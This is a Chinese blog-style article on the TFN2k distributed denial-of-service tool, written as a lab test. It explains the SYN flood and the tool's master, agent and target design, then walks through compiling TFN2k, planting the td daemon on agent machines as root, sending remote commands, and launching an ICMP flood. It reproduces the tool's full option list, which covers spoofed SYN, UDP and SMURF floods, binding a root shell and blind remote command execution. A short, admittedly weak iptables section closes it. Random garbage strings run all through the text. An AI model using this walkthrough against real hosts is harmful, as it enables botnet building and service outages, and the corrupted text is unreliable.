分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 0 G* s) [6 k/ t" @; h- V% t3 T 9 m2 H: I4 h( w* W$ ^: R" w0 T首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来 ; }; D2 Q( `8 n: p

做一些不合法的事情，那结果与我无关。 拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成 ; y, ]1 {7 O/ A3 ~1 `2 A# H

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf 7 [$ k: l" o4 S* D6 S; t3 I- W

Service),利用更多的代理集中攻击目标，其危害更大。 我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不 3 S' X/ M; w0 h7 t

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三

握手建立连接的过程来说明。 ( Z* ?2 g: r7 B& Y0 L 一。tcpsynflood 6 T7 W- [4 D6 J2 [' l- U- I2 e1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像 , h3 [& Z9 ~! A/ L( s

，一拜天地...二拜高堂...送入洞房...哈哈） x. @+ q! l7 j. q+ L% q

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 " g9 A: N8 G1 C/ }. z9 U* Q

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种 " o# D3 J4 ?2 e7 D0 K3 u5 Y, y7 k/ N9 ?

攻击往往事半罪倍，杀伤力超强。 $ x: t5 g/ e* }5 ^4 h当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a , s+ B* x0 U0 }3 M! N5 g

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细 ! j2 D+ C3 k3 c9 k. F

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter( / j% K6 H; F" `! z& e

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了... 5 u j. A; X) m

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它

的架构。 主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) 代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而

且其系统多为unix,linux等.(可怜的牺牲品） 2 F- B5 A" W5 ~- a+ S目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) 9 m! M2 g# k( @/ u( n( E 2.tfn2k特性。 　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、 6 I3 i! r) M- ?: x0 O# c Y

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会

逆向向主控端发送任何信息. ◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. ; n. R! v0 C6 w0 r$ C& F◆利用td进程，主控端可以远程执行shell命令. ◆td进程的名称可以在编译时更改,更便于隐藏. 6 \/ G; i( K1 T8 F0 Y◆tfn可以编译运行于win32及linux系统的. ... - K/ y5 _( X: S至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台 / }$ }3 ^% p* [2 C

代理机，使我的redhatlinux9.0系统瘫痪. ! t7 t. u% t2 g9 A3 Y3 j- T% c

三.tfn2k实战测试 1.测试环境: 9 M* T+ g3 M4 X% A' M5 T4 d9 ?6 N9 Z- H软件：redhatlinux9.0 ! r5 Q' n% u: o硬件平台： master: 5 V" ?+ m, K$ m$ b; \, s4 YIP:192.168.0.6 PIV2.4/256*2/rtl8139 Ag1: : J3 O6 r, l S y+ A" UIP:192.168.0.2 PIV2.4/256*/rtl8139 AG2:IP:192.168.0.3 3 O- F+ Z# ~- tpIV2.6/512*2/3c905 AIM:192.168.0.5 ( k ^9 ]+ `6 T% OpIV2.66c/512*2/3c905 switch_linkdes1024R

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) 9 s5 ]' q& L+ u7 ?$ _% v4 z2.解压：tarzxvftfn2k.tgz 3.修改文件 # l3 u6 R# ]7 h- h ]A.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 , o( U1 G$ t0 p7 }#Linux/*BSD*/Others : c7 ?$ L' G0 I+ O. i3 iCC=gcc CFLAGS=-Wall-O3 " d# W3 p$ S& z& a! PCLIBS= 这几行注释掉,并将 9 z' q2 j7 D2 e* P1 \2 e#Win32(cygwin) #CC=gcc #CFLAGS=-Wall-DWINDOZE-O2 #CLIBS= 这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改. " B, v) s- R- x. }$ S5 K

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 C.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 ) W( v" [; l# B0 X9 M/*structin_addr { " \# j) O0 G+ c, o0 b3 \* h. w$ Iunsignedlongints_addr; 2 y) |1 v7 N# q8 J" a4 T- N};*/ 注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 ) _' G2 x* K4 D x 9 B: D1 u2 d5 N7 t4 J) QD.更改编译器： 2 c; {( t3 o2 U: t6 Y+ x" f# v因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需 6 ^' Z1 Z; b) f

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. 方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ cd/mnt/cdrom/Redhat/RPMS cpegcs-1.1.2-30*cpp-1.1.2-30*~/ 安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm 安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） 4.编译tfn2k , C1 @ i2 R7 ]5 ]8 ~cdtfn2k/src make : S0 }1 B6 u3 k# R; }) @首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定

要记牢噢~。 编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端. - {' r+ G( F$ I( d7 Y& V

5.安装td. 6 X a! h1 O8 C# _/ N1 [& Q. t8 h将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的 . F1 x. ~! \( I9 g& g

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” [root@test/]ftp192.168.0.2 Connectedto192.168.0.2. " s, W. d$ ]( e0 Y. i2 j530PleaseloginwithUSERandPASS. 4 D' h+ L, i4 i H8 \) K3 d530PleaseloginwithUSERandPASS. Name(192.168.0.2:root):wjpfjy 331Pleasespecifythepassword. " z# b6 e4 C/ t) i3 e2 e9 R. [Password: 4 {# m4 y0 f9 P8 x& k: k b. o( O230Loginsuccessful.Havefun. RemotesystemtypeisUNIX. - ~* R( S6 U/ y9 w6 ]. a4 m+ IUsingbinarymodetotransferfiles. + \8 N: g4 ^/ d9 I' e% N8 O1 xftp>puttd(上传td) local:tdremote:td # e# l* H5 c5 P* N* K8 Y227EnteringPassiveMode(192,168,0,3,198,225) 553Couldnotcreatefile. 3 B. W4 m- U+ V1 ]6 ~( d$ xftp>by(退出ftp) 221Goodbye. [root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. + G4 f/ [/ i. e+ f- r4 [root@192.168.0.2spassword: * J$ h* z9 N' r/ H" D+ K( OLastlogin:TueFeb2406:51:132004 [root@ag1/]find/-nametd-print找到刚上传过来的文件td. ! J# n( ^! w" U$ Z[root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. [root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 　　　 ; u6 F6 c! E" h6 b# t+ [9 J　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. $ v8 w& P" }) Q& o + G1 l6 f4 P* A7 M. d6.攻击开始(悲惨的回忆上演中...) + l: W; R$ |4 }# {回到master(192.168.0.6)，准备演练... 　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘

记的噢.) ) |. J. O( @3 F4 h% n- y& G[root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 5 e* a5 Y4 d, I* S5 {　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. 　　　先来测试一下链接。 8 b0 `+ ]/ P* T* u& C3 D' ~# ]# z# Q0 M　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个 : {3 z' u$ e: M8 X" ^6 n) }" v

目录 : t* q% N% @7 ?6 G) _　Protocol:random SourceIP:random Clientinput:list Command:executeremotecommand 2 |1 k7 m4 r) }- R" \

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯 ) _8 e/ j8 M/ S. T

　　　Sendingoutpackets:.. " s/ |5 W8 j7 z ?$ M

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 Y7 C+ ?6 i) I3 c, m6 L　　 　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. & |; o J. U" H8 i0 b4 P1 a8 g7 c* x[root@aimroot]#tcpdump-rpack.atta-c4-xX " g$ e& ^/ c! |1 U8 o08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] 0x00004500005c659d00000001d22e172bab00E..\e........+.. 0 t! I( \1 Q0 F0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ , D( i1 `# X: H7 j0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply 0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... 0x0010172bab000000ffff0000000000000000.+.............. 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ ! A1 t. J: @& g& i9 h& r% L0x00500000.. 8 U! \4 v# l; h/ t" j08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] 0x00004500005c659d00000001ed6e24eb8200E..\e......n$... 8 _: L. @5 Z% O) D3 j0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ , Y- p1 p8 j0 M4 H; I) V# S% V0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ 0x00500000.. 3 K9 r6 p6 D* n/ H5 Q3 y& e08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply 3 w% O w' T2 t* {, _( V/ g; M0x00004500005c551c00004001bdefc0a80002E..\U...@....... * P7 }' [! [0 h# s; K( K0x001024eb82000000ffff0000000000000000$............... W* m3 ]' g9 B2 t! Z& f0x002000000000000000000000000000000000................ 2 ^9 s' y+ x# q0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ : W; J) b4 h! f* w" u　 " k" V5 w! G7 C　[root@masterroot]./tfn-fhost.txt-c0停止攻击 % R9 \. a9 Z8 }) F8 D* d3 ~

Protocol:random ! {" e i j! K$ qSourceIP:random Clientinput:list Command:stopflooding

Passwordverification: / v: {) v9 k9 M; s$ v" G$ E

Sendingoutpackets:...

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法. 4 a& Q/ E- l/ J C& }- r

[root@masterroot]./tfn / C( A) @* f; x( X4 g* i& qusage:./tfn<options> , l) e1 `3 k, U7 x d' R[-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. Usesarandomprotocolasdefault , H( m0 k# z8 s' n+ B5 D[-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets [-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed $ ?' g# _* x7 K* w$ qtouseyourrealIPifyouarebehindspoof-filteringrouters + g% d9 H9 j/ v5 K) R, d[-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact [-hhostname]TocontactonlyasinglehostrunningaTFNserver & z' D D2 g8 s( O$ w" e( k8 p; V[-itargetstring]Containsoptions/targetsseparatedby@,seebelow 7 y- T' {! E; T" J$ Q$ H8 `[-pport]ATCPdestinationportcanbespecifiedforSYNfloods 1 q) ?, }% N' N9 Z5 [% A$ E& }4 }<-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately 1-ChangeIPantispoof-level(evaderfc2267filtering) : K# Y- K& l" M; n& l% j/ eusage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) 2-ChangePacketsize,usage:-i<packetsizeinbytes> 3-Bindrootshelltoaport,usage:-i<remoteport> 4-UDPflood,usage:-ivictim@victim2@victim3@... 7 N7 z. m1 _% u5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] 6-ICMP/PINGflood,usage:-ivictim@... 2 B7 g" N% `$ r, v7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... 5 V! r1 q, P1 f. c9 n; A$ `# H, `8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... 6 B j$ ?$ P) ]) c7 U10-Blindlyexecuteremoteshellcommand,usage-icommand 7 L V! G( z4 _( C' z( a

四.防守办法 # i& @/ q! O4 ~0 z! i2 R% x就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人 ( G9 H$ S0 Z0 N3 Y5 X: R1 {1 f; W

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. / I' h5 n" I- q( a, L& u4 k9 D附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大

4 l4 ~3 t; y+ Q4 E( M$ B& k: v6 Z

/sbin/iptables-PINPUTDROP /sbin/iptables-AINPUT-ilo-pall-jACCEPT ; T! } A, t% ^2 q( E9 o/sbin/iptables-AINPUT-ieth1-picmp-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-type8-jDROP /sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT /sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP /sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP /sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP d2 a% g; f. p/ R* p/sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP /sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m

state--stateNEW-jREJECT /sbin/iptables-AINPUT-ptcp--dport22-jACCEPT 5 k0 V7 t0 z. H/sbin/iptables-AINPUT-ptcp--dport80-jACCEPT ' s9 z$ o \; V( P: ]/sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT 0 x! |1 [ Q: U) |/sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT 6 i! O+ K. [* b) @6 S; q& `4 ?, m1 [/sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT ' [8 N# |6 C6 i n& h: g0 w/sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 /sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP 8 A$ X5 l3 N: w) S4 r4 T* I& f/sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG , D) W( }# [' ^1 o: H# }/sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 7 L5 u" N J: q8 x-jLOG 8 A. g2 ]. I2 H$ e/sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT /sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT

　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 ! Q. [+ R: `. u0 s) V6 _3 u$ w' \因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395 " E! Q' y G6 z G) d

[em09]